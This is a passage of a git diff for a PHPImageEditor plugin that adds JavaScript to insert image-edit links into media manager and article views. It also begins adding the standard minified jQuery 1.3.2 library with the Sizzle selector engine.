+                                                                       td.innerHTML = '<div><a style="background-position: 5px 0; background-image: url('+pathToPlugin+'images/edit.gif); background-repeat: no-repeat; padding-bottom: 4px; padding-left: 22px;" href="'+pathToEditor+imageSrcDetailed+'&language='+language+'" target="_blank">'+editImageText+'</a></div>';
+                                                                       foundDetailedImage = true;
+                                                                       break;
+                                                               }
+                                                       }
+                                               }
+                                       }
+                                       
+                                       if (!foundDetailedImage)
+                                               td.innerHTML = "&nbsp;";
+
+                                       trs[i].appendChild(td);
+                               }
+                               
+                               isTableHeader = false;                  
+                       }
+               }
+               else
+               {
+                       var e = mediamanagerForm.getElementsByTagName("div");
+                       
+                       for(var i=0;i<e.length;i++)
+                       {
+                               if (e[i].className == 'imgOutline' && e[i].innerHTML.indexOf('folderup_32.png') == -1 && e[i].innerHTML.indexOf('folder.png') == -1)
+                               {
+                                       var images = e[i].getElementsByTagName("img");
+                                       var imageSrc = "";
+                                       
+                                       if (images.length > 0)
+                                       {
+                                               imageSrc = phpimageeditor_urlencode(images[0].src.replace(hostPath,'../../../'));
+               
+                                               if (phpimageeditor_file_is_image(imageSrc))
+                                                       e[i].innerHTML += '<a style="background-position: 5px 0; background-image: url('+pathToPlugin+'images/edit.gif); background-repeat: no-repeat; padding-bottom: 4px; padding-left: 22px; display: block;" href="'+pathToEditor+imageSrc+'&language='+language+'" target="_blank">'+editImageText+'</a>';
+                                       }
+                               }
+                       }
+               }
+       }
+       else
+       {
+               var articledivs = document.getElementsByTagName("div");
+               var foundManager = false;
+               var foundItem = false;
+               for(var i=0;i<articledivs.length;i++)
+               {
+                       if (articledivs[i].className == 'manager')
+                               foundManager = true;
+                       else if (articledivs[i].className == 'item')
+                               foundItem = true;
+                               
+                       if (foundManager && foundItem)
+                               break;
+               }               
+                       
+               if (foundManager && foundItem)
+               {
+                       for(var i=0;i<articledivs.length;i++)
+                       {
+                               if (articledivs[i].className == 'item')
+                               {
+                                       var imagesArticle = articledivs[i].getElementsByTagName("img");
+                                       var imageSrcArticle = "";
+                                       
+                                       if (imagesArticle.length > 0 && imagesArticle[0].src.indexOf('folder.gif') == -1 && phpimageeditor_file_is_image(imagesArticle[0].src))
+                                       {
+                                               imageSrcArticle = phpimageeditor_urlencode(imagesArticle[0].src.replace(hostPath,'../../../'));
+                                               articledivs[i].innerHTML = '<a style="position: absolute; top: 0; left: 0; background-color: #eeeeee; display: block; line-height: 15px; height: auto;" href="'+pathToEditor+imageSrcArticle+'&language='+language+'" target="_blank">'+editImageText+'</a>' + articledivs[i].innerHTML;
+                                       }
+                               }
+                       }
+               }
+       }
+}
+
+function phpimageeditor_urlencode(str) 
+{
+    // http://kevin.vanzonneveld.net
+    // +   original by: Philip Peterson
+    // +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
+    // +      input by: AJ
+    // +   improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
+    // %          note: info on what encoding functions to use from: http://xkr.us/articles/javascript/encode-compare/
+    // *     example 1: urlencode('Kevin van Zonneveld!');
+    // *     returns 1: 'Kevin+van+Zonneveld%21'
+    // *     example 2: urlencode('http://kevin.vanzonneveld.net/');
+    // *     returns 2: 'http%3A%2F%2Fkevin.vanzonneveld.net%2F'
+    // *     example 3: urlencode('http://www.google.nl/search?q=php.js&ie=utf-8&oe=utf-8&aq=t&rls=com.ubuntu:en-US:unofficial&client=firefox-a');
+    // *     returns 3: 'http%3A%2F%2Fwww.google.nl%2Fsearch%3Fq%3Dphp.js%26ie%3Dutf-8%26oe%3Dutf-8%26aq%3Dt%26rls%3Dcom.ubuntu%3Aen-US%3Aunofficial%26client%3Dfirefox-a'
+                                     
+    var histogram = {}, histogram_r = {}, code = 0, tmp_arr = [];
+    var ret = str.toString();
+    
+    var replacer = function(search, replace, str) {
+        var tmp_arr = [];
+        tmp_arr = str.split(search);
+        return tmp_arr.join(replace);
+    };
+    
+    // The histogram is identical to the one in urldecode.
+    histogram['!']   = '%21';
+    histogram['%20'] = '+';
+    
+    // Begin with encodeURIComponent, which most resembles PHP's encoding functions
+    ret = encodeURIComponent(ret);
+    
+    for (search in histogram) {
+        replace = histogram[search];
+        ret = replacer(search, replace, ret) // Custom replace. No regexing
+    }
+    
+    // Uppercase for full PHP compatibility
+    return ret.replace('/(\%([a-z0-9]{2}))/g', function(full, m1, m2) {
+        return "%"+m2.toUpperCase();
+    });
+    
+    return ret;
+}
+
+function phpimageeditor_file_is_image(filePath)
+{
+       filePath = filePath.toLowerCase();
+       return (filePath.indexOf('com_media') == -1 && (filePath.phpimageeditor_add_editlink_endswith("jpg") || filePath.phpimageeditor_add_editlink_endswith("gif") || filePath.phpimageeditor_add_editlink_endswith("png")));
+}
\ No newline at end of file
diff --git a/Toolkit/PHPImageEditor/javascript/jquery-1.3.2.min.js b/Toolkit/PHPImageEditor/javascript/jquery-1.3.2.min.js
new file mode 100644 (file)
index 0000000..b1ae21d
--- /dev/null
@@ -0,0 +1,19 @@
+/*
+ * jQuery JavaScript Library v1.3.2
+ * http://jquery.com/
+ *
+ * Copyright (c) 2009 John Resig
+ * Dual licensed under the MIT and GPL licenses.
+ * http://docs.jquery.com/License
+ *
+ * Date: 2009-02-19 17:34:21 -0500 (Thu, 19 Feb 2009)
+ * Revision: 6246
+ */
+(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||document;if(E.nodeType){this[0]=E;this.length=1;this.context=E;return this}if(typeof E==="string"){var G=D.exec(E);if(G&&(G[1]||!H)){if(G[1]){E=o.clean([G[1]],H)}else{var I=document.getElementById(G[3]);if(I&&I.id!=G[3]){return o().find(E)}var F=o(I||[]);F.context=document;F.selector=E;return F}}else{return o(H).find(E)}}else{if(o.isFunction(E)){return o(document).ready(E)}}if(E.selector&&E.context){this.selector=E.selector;this.context=E.context}return this.setArray(o.isArray(E)?E:o.makeArray(E))},selector:"",jquery:"1.3.2",size:function(){return this.length},get:function(E){return E===g?Array.prototype.slice.call(this):this[E]},pushStack:function(F,H,E){var G=o(F);G.prevObject=this;G.context=this.context;if(H==="find"){G.selector=this.selector+(this.selector?" ":"")+E}else{if(H){G.selector=this.selector+"."+H+"("+E+")"}}return G},setArray:function(E){this.length=0;Array.prototype.push.apply(this,E);return this},each:function(F,E){return o.each(this,F,E)},index:function(E){return o.inArray(E&&E.jquery?E[0]:E,this)},attr:function(F,H,G){var E=F;if(typeof F==="string"){if(H===g){return this[0]&&o[G||"attr"](this[0],F)}else{E={};E[F]=H}}return this.each(function(I){for(F in E){o.attr(G?this.style:this,F,o.prop(this,E[F],G,I,F))}})},css:function(E,F){if((E=="width"||E=="height")&&parseFloat(F)<0){F=g}return this.attr(E,F,"curCSS")},text:function(F){if(typeof F!=="object"&&F!=null){return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(F))}var E="";o.each(F||this,function(){o.each(this.childNodes,function(){if(this.nodeType!=8){E+=this.nodeType!=1?this.nodeValue:o.fn.text([this])}})});return E},wrapAll:function(E){if(this[0]){var F=o(E,this[0].ownerDocument).clone();if(this[0].parentNode){F.insertBefore(this[0])}F.map(function(){var G=this;while(G.firstChild){G=G.firstChild}return G}).append(this)}return this},wrapInner:function(E){return this.each(function(){o(this).contents().wrapAll(E)})},wrap:function(E){return this.each(function(){o(this).wrapAll(E)})},append:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.appendChild(E)}})},prepend:function(){return this.domManip(arguments,true,function(E){if(this.nodeType==1){this.insertBefore(E,this.firstChild)}})},before:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this)})},after:function(){return this.domManip(arguments,false,function(E){this.parentNode.insertBefore(E,this.nextSibling)})},end:function(){return this.prevObject||o([])},push:[].push,sort:[].sort,splice:[].splice,find:function(E){if(this.length===1){var F=this.pushStack([],"find",E);F.length=0;o.find(E,this[0],F);return F}else{return this.pushStack(o.unique(o.map(this,function(G){return o.find(E,G)})),"find",E)}},clone:function(G){var E=this.map(function(){if(!o.support.noCloneEvent&&!o.isXMLDoc(this)){var I=this.outerHTML;if(!I){var J=this.ownerDocument.createElement("div");J.appendChild(this.cloneNode(true));I=J.innerHTML}return o.clean([I.replace(/ jQuery\d+="(?:\d+|null)"/g,"").replace(/^\s*/,"")])[0]}else{return this.cloneNode(true)}});if(G===true){var H=this.find("*").andSelf(),F=0;E.find("*").andSelf().each(function(){if(this.nodeName!==H[F].nodeName){return}var I=o.data(H[F],"events");for(var K in I){for(var J in I[K]){o.event.add(this,K,I[K][J],I[K][J].data)}}F++})}return E},filter:function(E){return this.pushStack(o.isFunction(E)&&o.grep(this,function(G,F){return E.call(G,F)})||o.multiFilter(E,o.grep(this,function(F){return F.nodeType===1})),"filter",E)},closest:function(E){var G=o.expr.match.POS.test(E)?o(E):null,F=0;return this.map(function(){var H=this;while(H&&H.ownerDocument){if(G?G.index(H)>-1:o(H).is(E)){o.data(H,"closest",F);return H}H=H.parentNode;F++}})},not:function(E){if(typeof E==="string"){if(f.test(E)){return this.pushStack(o.multiFilter(E,this,true),"not",E)}else{E=o.multiFilter(E,this)}}var F=E.length&&E[E.length-1]!==g&&!E.nodeType;return this.filter(function(){return F?o.inArray(this,E)<0:this!=E})},add:function(E){return this.pushStack(o.unique(o.merge(this.get(),typeof E==="string"?o(E):o.makeArray(E))))},is:function(E){return !!E&&o.multiFilter(E,this).length>0},hasClass:function(E){return !!E&&this.is("."+E)},val:function(K){if(K===g){var E=this[0];if(E){if(o.nodeName(E,"option")){return(E.attributes.value||{}).specified?E.value:E.text}if(o.nodeName(E,"select")){var I=E.selectedIndex,L=[],M=E.options,H=E.type=="select-one";if(I<0){return null}for(var F=H?I:0,J=H?I+1:M.length;F<J;F++){var G=M[F];if(G.selected){K=o(G).val();if(H){return K}L.push(K)}}return L}return(E.value||"").replace(/\r/g,"")}return g}if(typeof K==="number"){K+=""}return this.each(function(){if(this.nodeType!=1){return}if(o.isArray(K)&&/radio|checkbox/.test(this.type)){this.checked=(o.inArray(this.value,K)>=0||o.inArray(this.name,K)>=0)}else{if(o.nodeName(this,"select")){var N=o.makeArray(K);o("option",this).each(function(){this.selected=(o.inArray(this.value,N)>=0||o.inArray(this.text,N)>=0)});if(!N.length){this.selectedIndex=-1}}else{this.value=K}}})},html:function(E){return E===g?(this[0]?this[0].innerHTML.replace(/ jQuery\d+="(?:\d+|null)"/g,""):null):this.empty().append(E)},replaceWith:function(E){return this.after(E).remove()},eq:function(E){return this.slice(E,+E+1)},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments),"slice",Array.prototype.slice.call(arguments).join(","))},map:function(E){return this.pushStack(o.map(this,function(G,F){return E.call(G,F,G)}))},andSelf:function(){return this.add(this.prevObject)},domManip:function(J,M,L){if(this[0]){var I=(this[0].ownerDocument||this[0]).createDocumentFragment(),F=o.clean(J,(this[0].ownerDocument||this[0]),I),H=I.firstChild;if(H){for(var G=0,E=this.length;G<E;G++){L.call(K(this[G],H),this.length>1||G>0?I.cloneNode(true):I)}}if(F){o.each(F,z)}}return this;function K(N,O){return M&&o.nodeName(N,"table")&&o.nodeName(O,"tr")?(N.getElementsByTagName("tbody")[0]||N.appendChild(N.ownerDocument.createElement("tbody"))):N}}};o.fn.init.prototype=o.fn;function z(E,F){if(F.src){o.ajax({url:F.src,async:false,dataType:"script"})}else{o.globalEval(F.text||F.textContent||F.innerHTML||"")}if(F.parentNode){F.parentNode.removeChild(F)}}function e(){return +new Date}o.extend=o.fn.extend=function(){var J=arguments[0]||{},H=1,I=arguments.length,E=false,G;if(typeof J==="boolean"){E=J;J=arguments[1]||{};H=2}if(typeof J!=="object"&&!o.isFunction(J)){J={}}if(I==H){J=this;--H}for(;H<I;H++){if((G=arguments[H])!=null){for(var F in G){var K=J[F],L=G[F];if(J===L){continue}if(E&&L&&typeof L==="object"&&!L.nodeType){J[F]=o.extend(E,K||(L.length!=null?[]:{}),L)}else{if(L!==g){J[F]=L}}}}}return J};var b=/z-?index|font-?weight|opacity|zoom|line-?height/i,q=document.defaultView||{},s=Object.prototype.toString;o.extend({noConflict:function(E){l.$=p;if(E){l.jQuery=y}return o},isFunction:function(E){return s.call(E)==="[object Function]"},isArray:function(E){return s.call(E)==="[object Array]"},isXMLDoc:function(E){return E.nodeType===9&&E.documentElement.nodeName!=="HTML"||!!E.ownerDocument&&o.isXMLDoc(E.ownerDocument)},globalEval:function(G){if(G&&/\S/.test(G)){var F=document.getElementsByTagName("head")[0]||document.documentElement,E=document.createElement("script");E.type="text/javascript";if(o.support.scriptEval){E.appendChild(document.createTextNode(G))}else{E.text=G}F.insertBefore(E,F.firstChild);F.removeChild(E)}},nodeName:function(F,E){return F.nodeName&&F.nodeName.toUpperCase()==E.toUpperCase()},each:function(G,K,F){var E,H=0,I=G.length;if(F){if(I===g){for(E in G){if(K.apply(G[E],F)===false){break}}}else{for(;H<I;){if(K.apply(G[H++],F)===false){break}}}}else{if(I===g){for(E in G){if(K.call(G[E],E,G[E])===false){break}}}else{for(var J=G[0];H<I&&K.call(J,H,J)!==false;J=G[++H]){}}}return G},prop:function(H,I,G,F,E){if(o.isFunction(I)){I=I.call(H,F)}return typeof I==="number"&&G=="curCSS"&&!b.test(E)?I+"px":I},className:{add:function(E,F){o.each((F||"").split(/\s+/),function(G,H){if(E.nodeType==1&&!o.className.has(E.className,H)){E.className+=(E.className?" ":"")+H}})},remove:function(E,F){if(E.nodeType==1){E.className=F!==g?o.grep(E.className.split(/\s+/),function(G){return !o.className.has(F,G)}).join(" "):""}},has:function(F,E){return F&&o.inArray(E,(F.className||F).toString().split(/\s+/))>-1}},swap:function(H,G,I){var E={};for(var F in G){E[F]=H.style[F];H.style[F]=G[F]}I.call(H);for(var F in G){H.style[F]=E[F]}},css:function(H,F,J,E){if(F=="width"||F=="height"){var L,G={position:"absolute",visibility:"hidden",display:"block"},K=F=="width"?["Left","Right"]:["Top","Bottom"];function I(){L=F=="width"?H.offsetWidth:H.offsetHeight;if(E==="border"){return}o.each(K,function(){if(!E){L-=parseFloat(o.curCSS(H,"padding"+this,true))||0}if(E==="margin"){L+=parseFloat(o.curCSS(H,"margin"+this,true))||0}else{L-=parseFloat(o.curCSS(H,"border"+this+"Width",true))||0}})}if(H.offsetWidth!==0){I()}else{o.swap(H,G,I)}return Math.max(0,Math.round(L))}return o.curCSS(H,F,J)},curCSS:function(I,F,G){var L,E=I.style;if(F=="opacity"&&!o.support.opacity){L=o.attr(E,"opacity");return L==""?"1":L}if(F.match(/float/i)){F=w}if(!G&&E&&E[F]){L=E[F]}else{if(q.getComputedStyle){if(F.match(/float/i)){F="float"}F=F.replace(/([A-Z])/g,"-$1").toLowerCase();var M=q.getComputedStyle(I,null);if(M){L=M.getPropertyValue(F)}if(F=="opacity"&&L==""){L="1"}}else{if(I.currentStyle){var J=F.replace(/\-(\w)/g,function(N,O){return O.toUpperCase()});L=I.currentStyle[F]||I.currentStyle[J];if(!/^\d+(px)?$/i.test(L)&&/^\d/.test(L)){var H=E.left,K=I.runtimeStyle.left;I.runtimeStyle.left=I.currentStyle.left;E.left=L||0;L=E.pixelLeft+"px";E.left=H;I.runtimeStyle.left=K}}}}return L},clean:function(F,K,I){K=K||document;if(typeof K.createElement==="undefined"){K=K.ownerDocument||K[0]&&K[0].ownerDocument||document}if(!I&&F.length===1&&typeof F[0]==="string"){var H=/^<(\w+)\s*\/?>$/.exec(F[0]);if(H){return[K.createElement(H[1])]}}var G=[],E=[],L=K.createElement("div");o.each(F,function(P,S){if(typeof S==="number"){S+=""}if(!S){return}if(typeof S==="string"){S=S.replace(/(<(\w+)[^>]*?)\/>/g,function(U,V,T){return T.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i)?U:V+"></"+T+">"});var O=S.replace(/^\s+/,"").substring(0,10).toLowerCase();var Q=!O.indexOf("<opt")&&[1,"<select multiple='multiple'>","</select>"]||!O.indexOf("<leg")&&[1,"<fieldset>","</fieldset>"]||O.match(/^<(thead|tbody|tfoot|colg|cap)/)&&[1,"<table>","</table>"]||!O.indexOf("<tr")&&[2,"<table><tbody>","</tbody></table>"]||(!O.indexOf("<td")||!O.indexOf("<th"))&&[3,"<table><tbody><tr>","</tr></tbody></table>"]||!O.indexOf("<col")&&[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"]||!o.support.htmlSerialize&&[1,"div<div>","</div>"]||[0,"",""];L.innerHTML=Q[1]+S+Q[2];while(Q[0]--){L=L.lastChild}if(!o.support.tbody){var R=/<tbody/i.test(S),N=!O.indexOf("<table")&&!R?L.firstChild&&L.firstChild.childNodes:Q[1]=="<table>"&&!R?L.childNodes:[];for(var M=N.length-1;M>=0;--M){if(o.nodeName(N[M],"tbody")&&!N[M].childNodes.length){N[M].parentNode.removeChild(N[M])}}}if(!o.support.leadingWhitespace&&/^\s/.test(S)){L.insertBefore(K.createTextNode(S.match(/^\s*/)[0]),L.firstChild)}S=o.makeArray(L.childNodes)}if(S.nodeType){G.push(S)}else{G=o.merge(G,S)}});if(I){for(var J=0;G[J];J++){if(o.nodeName(G[J],"script")&&(!G[J].type||G[J].type.toLowerCase()==="text/javascript")){E.push(G[J].parentNode?G[J].parentNode.removeChild(G[J]):G[J])}else{if(G[J].nodeType===1){G.splice.apply(G,[J+1,0].concat(o.makeArray(G[J].getElementsByTagName("script"))))}I.appendChild(G[J])}}return E}return G},attr:function(J,G,K){if(!J||J.nodeType==3||J.nodeType==8){return g}var H=!o.isXMLDoc(J),L=K!==g;G=H&&o.props[G]||G;if(J.tagName){var F=/href|src|style/.test(G);if(G=="selected"&&J.parentNode){J.parentNode.selectedIndex}if(G in J&&H&&!F){if(L){if(G=="type"&&o.nodeName(J,"input")&&J.parentNode){throw"type property can't be changed"}J[G]=K}if(o.nodeName(J,"form")&&J.getAttributeNode(G)){return J.getAttributeNode(G).nodeValue}if(G=="tabIndex"){var I=J.getAttributeNode("tabIndex");return I&&I.specified?I.value:J.nodeName.match(/(button|input|object|select|textarea)/i)?0:J.nodeName.match(/^(a|area)$/i)&&J.href?0:g}return J[G]}if(!o.support.style&&H&&G=="style"){return o.attr(J.style,"cssText",K)}if(L){J.setAttribute(G,""+K)}var E=!o.support.hrefNormalized&&H&&F?J.getAttribute(G,2):J.getAttribute(G);return E===null?g:E}if(!o.support.opacity&&G=="opacity"){if(L){J.zoom=1;J.filter=(J.filter||"").replace(/alpha\([^)]*\)/,"")+(parseInt(K)+""=="NaN"?"":"alpha(opacity="+K*100+")")}return J.filter&&J.filter.indexOf("opacity=")>=0?(parseFloat(J.filter.match(/opacity=([^)]*)/)[1])/100)+"":""}G=G.replace(/-([a-z])/ig,function(M,N){return N.toUpperCase()});if(L){J[G]=K}return J[G]},trim:function(E){return(E||"").replace(/^\s+|\s+$/g,"")},makeArray:function(G){var E=[];if(G!=null){var F=G.length;if(F==null||typeof G==="string"||o.isFunction(G)||G.setInterval){E[0]=G}else{while(F){E[--F]=G[F]}}}return E},inArray:function(G,H){for(var E=0,F=H.length;E<F;E++){if(H[E]===G){return E}}return -1},merge:function(H,E){var F=0,G,I=H.length;if(!o.support.getAll){while((G=E[F++])!=null){if(G.nodeType!=8){H[I++]=G}}}else{while((G=E[F++])!=null){H[I++]=G}}return H},unique:function(K){var F=[],E={};try{for(var G=0,H=K.length;G<H;G++){var J=o.data(K[G]);if(!E[J]){E[J]=true;F.push(K[G])}}}catch(I){F=K}return F},grep:function(F,J,E){var G=[];for(var H=0,I=F.length;H<I;H++){if(!E!=!J(F[H],H)){G.push(F[H])}}return G},map:function(E,J){var F=[];for(var G=0,H=E.length;G<H;G++){var I=J(E[G],G);if(I!=null){F[F.length]=I}}return F.concat.apply([],F)}});var C=navigator.userAgent.toLowerCase();o.browser={version:(C.match(/.+(?:rv|it|ra|ie)[\/: ]([\d.]+)/)||[0,"0"])[1],safari:/webkit/.test(C),opera:/opera/.test(C),msie:/msie/.test(C)&&!/opera/.test(C),mozilla:/mozilla/.test(C)&&!/(compatible|webkit)/.test(C)};o.each({parent:function(E){return E.parentNode},parents:function(E){return o.dir(E,"parentNode")},next:function(E){return o.nth(E,2,"nextSibling")},prev:function(E){return o.nth(E,2,"previousSibling")},nextAll:function(E){return o.dir(E,"nextSibling")},prevAll:function(E){return o.dir(E,"previousSibling")},siblings:function(E){return o.sibling(E.parentNode.firstChild,E)},children:function(E){return o.sibling(E.firstChild)},contents:function(E){return o.nodeName(E,"iframe")?E.contentDocument||E.contentWindow.document:o.makeArray(E.childNodes)}},function(E,F){o.fn[E]=function(G){var H=o.map(this,F);if(G&&typeof G=="string"){H=o.multiFilter(G,H)}return this.pushStack(o.unique(H),E,G)}});o.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(E,F){o.fn[E]=function(G){var J=[],L=o(G);for(var K=0,H=L.length;K<H;K++){var I=(K>0?this.clone(true):this).get();o.fn[F].apply(o(L[K]),I);J=J.concat(I)}return this.pushStack(J,E,G)}});o.each({removeAttr:function(E){o.attr(this,E,"");if(this.nodeType==1){this.removeAttribute(E)}},addClass:function(E){o.className.add(this,E)},removeClass:function(E){o.className.remove(this,E)},toggleClass:function(F,E){if(typeof E!=="boolean"){E=!o.className.has(this,F)}o.className[E?"add":"remove"](this,F)},remove:function(E){if(!E||o.filter(E,[this]).length){o("*",this).add([this]).each(function(){o.event.remove(this);o.removeData(this)});if(this.parentNode){this.parentNode.removeChild(this)}}},empty:function(){o(this).children().remove();while(this.firstChild){this.removeChild(this.firstChild)}}},function(E,F){o.fn[E]=function(){return this.each(F,arguments)}});function j(E,F){return E[0]&&parseInt(o.curCSS(E[0],F,true),10)||0}var h="jQuery"+e(),v=0,A={};o.extend({cache:{},data:function(F,E,G){F=F==l?A:F;var H=F[h];if(!H){H=F[h]=++v}if(E&&!o.cache[H]){o.cache[H]={}}if(G!==g){o.cache[H][E]=G}return E?o.cache[H][E]:H},removeData:function(F,E){F=F==l?A:F;var H=F[h];if(E){if(o.cache[H]){delete o.cache[H][E];E="";for(E in o.cache[H]){break}if(!E){o.removeData(F)}}}else{try{delete F[h]}catch(G){if(F.removeAttribute){F.removeAttribute(h)}}delete o.cache[H]}},queue:function(F,E,H){if(F){E=(E||"fx")+"queue";var G=o.data(F,E);if(!G||o.isArray(H)){G=o.data(F,E,o.makeArray(H))}else{if(H){G.push(H)}}}return G},dequeue:function(H,G){var E=o.queue(H,G),F=E.shift();if(!G||G==="fx"){F=E[0]}if(F!==g){F.call(H)}}});o.fn.extend({data:function(E,G){var H=E.split(".");H[1]=H[1]?"."+H[1]:"";if(G===g){var F=this.triggerHandler("getData"+H[1]+"!",[H[0]]);if(F===g&&this.length){F=o.data(this[0],E)}return F===g&&H[1]?this.data(H[0]):F}else{return this.trigger("setData"+H[1]+"!",[H[0],G]).each(function(){o.data(this,E,G)})}},removeData:function(E){return this.each(function(){o.removeData(this,E)})},queue:function(E,F){if(typeof E!=="string"){F=E;E="fx"}if(F===g){return o.queue(this[0],E)}return this.each(function(){var G=o.queue(this,E,F);if(E=="fx"&&G.length==1){G[0].call(this)}})},dequeue:function(E){return this.each(function(){o.dequeue(this,E)})}});
+/*
+ * Sizzle CSS Selector Engine - v0.9.3
+ *  Copyright 2009, The Dojo Foundation
+ *  Released under the MIT, BSD, and GPL Licenses.
+ *  More information: http://sizzlejs.com/
+ */
+(function(){var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^[\]]*\]|['"][^'"]*['"]|[^[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?/g,L=0,H=Object.prototype.toString;var F=function(Y,U,ab,ac){ab=ab||[];U=U||document;if(U.nodeType!==1&&U.nodeType!==9){return[]}if(!Y||typeof Y!=="string"){return ab}var Z=[],W,af,ai,T,ad,V,X=true;R.lastIndex=0;while((W=R.exec(Y))!==null){Z.push(W[1]);if(W[2]){V=RegExp.rightContext;break}}if(Z.length>1&&M.exec(Y)){if(Z.length===2&&I.relative[Z[0]]){af=J(Z[0]+Z[1],U)}else{af=I.relative[Z[0]]?[U]:F(Z.shift(),U);while(Z.length){Y=Z.shift();if(I.relative[Y]){Y+=Z.shift()}af=J(Y,af)}}}else{var ae=ac?{expr:Z.pop(),set:E(ac)}:F.find(Z.pop(),Z.length===1&&U.parentNode?U.parentNode:U,Q(U));af=F.filter(ae.expr,ae.set);if(Z.length>0){ai=E(af)}else{X=false}while(Z.length){var ah=Z.pop(),ag=ah;if(!I.relative[ah]){ah=""}else{ag=Z.pop()}if(ag==null){ag=U}I.relative[ah](ai,ag,Q(U))}}if(!ai){ai=af}if(!ai){throw"Syntax error, unrecognized expression: "+(ah||Y)}if(H.call(ai)==="[object Array]"){if(!X){ab.push.apply(ab,ai)}else{if(U.nodeType===1){for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&(ai[aa]===true||ai[aa].nodeType===1&&K(U,ai[aa]))){ab.push(af[aa])}}}else{for(var aa=0;ai[aa]!=null;aa++){if(ai[aa]&&ai[aa].nodeType===1){ab.push(af[aa])}}}}}else{E(ai,ab)}if(V){F(V,U,ab,ac);if(G){hasDuplicate=false;ab.sort(G);if(hasDuplicate){for(var aa=1;aa<ab.length;aa++){if(ab[aa]===ab[aa-1]){ab.splice(aa--,1)}}}}}return ab};F.matches=function(T,U){return F(T,null,null,U)};F.find=function(aa,T,ab){var Z,X;if(!aa){return[]}for(var W=0,V=I.order.length;W<V;W++){var Y=I.order[W],X;if((X=I.match[Y].exec(aa))){var U=RegExp.leftContext;if(U.substr(U.length-1)!=="\\"){X[1]=(X[1]||"").replace(/\\/g,"");Z=I.find[Y](X,T,ab);if(Z!=null){aa=aa.replace(I.match[Y],"");break}}}}if(!Z){Z=T.getElementsByTagName("*")}return{set:Z,expr:aa}};F.filter=function(ad,ac,ag,W){var V=ad,ai=[],aa=ac,Y,T,Z=ac&&ac[0]&&Q(ac[0]);while(ad&&ac.length){for(var ab in I.filter){if((Y=I.match[ab].exec(ad))!=null){var U=I.filter[ab],ah,af;T=false;if(aa==ai){ai=[]}if(I.preFilter[ab]){Y=I.preFilter[ab](Y,aa,ag,ai,W,Z);if(!Y){T=ah=true}else{if(Y===true){continue}}}if(Y){for(var X=0;(af=aa[X])!=null;X++){if(af){ah=U(af,Y,X,aa);var ae=W^!!ah;if(ag&&ah!=null){if(ae){T=true}else{aa[X]=false}}else{if(ae){ai.push(af);T=true}}}}}if(ah!==g){if(!ag){aa=ai}ad=ad.replace(I.match[ab],"");if(!T){return[]}break}}}if(ad==V){if(T==null){throw"Syntax error, unrecognized expression: "+ad}else{break}}V=ad}return aa};var I=F.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF_-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF_-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF_-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*_-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\((even|odd|[\dn+-]*)\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF_-]|\\.)+)(?:\((['"]*)((?:\([^\)]+\)|[^\2\(\)]*)+)\2\))?/},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(T){return T.getAttribute("href")}},relative:{"+":function(aa,T,Z){var X=typeof T==="string",ab=X&&!/\W/.test(T),Y=X&&!ab;if(ab&&!Z){T=T.toUpperCase()}for(var W=0,V=aa.length,U;W<V;W++){if((U=aa[W])){while((U=U.previousSibling)&&U.nodeType!==1){}aa[W]=Y||U&&U.nodeName===T?U||false:U===T}}if(Y){F.filter(T,aa,true)}},">":function(Z,U,aa){var X=typeof U==="string";if(X&&!/\W/.test(U)){U=aa?U:U.toUpperCase();for(var V=0,T=Z.length;V<T;V++){var Y=Z[V];if(Y){var W=Y.parentNode;Z[V]=W.nodeName===U?W:false}}}else{for(var V=0,T=Z.length;V<T;V++){var Y=Z[V];if(Y){Z[V]=X?Y.parentNode:Y.parentNode===U}}if(X){F.filter(U,Z,true)}}},"":function(W,U,Y){var V=L++,T=S;if(!U.match(/\W/)){var X=U=Y?U:U.toUpperCase();T=P}T("parentNode",U,V,W,X,Y)},"~":function(W,U,Y){var V=L++,T=S;if(typeof U==="string"&&!U.match(/\W/)){var X=U=Y?U:U.toUpperCase();T=P}T("previousSibling",U,V,W,X,Y)}},find:{ID:function(U,V,W){if(typeof V.getElementById!=="undefined"&&!W){var T=V.getElementById(U[1]);return T?[T]:[]}},NAME:function(V,Y,Z){if(typeof Y.getElementsByName!=="undefined"){var U=[],X=Y.getElementsByName(V[1]);for(var W=0,T=X.length;W<T;W++){if(X[W].getAttribute("name")===V[1]){U.push(X[W])}}return U.length===0?null:U}},TAG:function(T,U){return U.getElementsByTagName(T[1])}},preFilter:{CLASS:function(W,U,V,T,Z,aa){W=" "+W[1].replace(/\\/g,"")+" ";if(aa){return W}for(var X=0,Y;(Y=U[X])!=null;X++){if(Y){if(Z^(Y.className&&(" "+Y.className+" ").indexOf(W)>=0)){if(!V){T.push(Y)}}else{if(V){U[X]=false}}}}return false},ID:function(T){return T[1].replace(/\\/g,"")},TAG:function(U,T){for(var V=0;T[V]===false;V++){}return 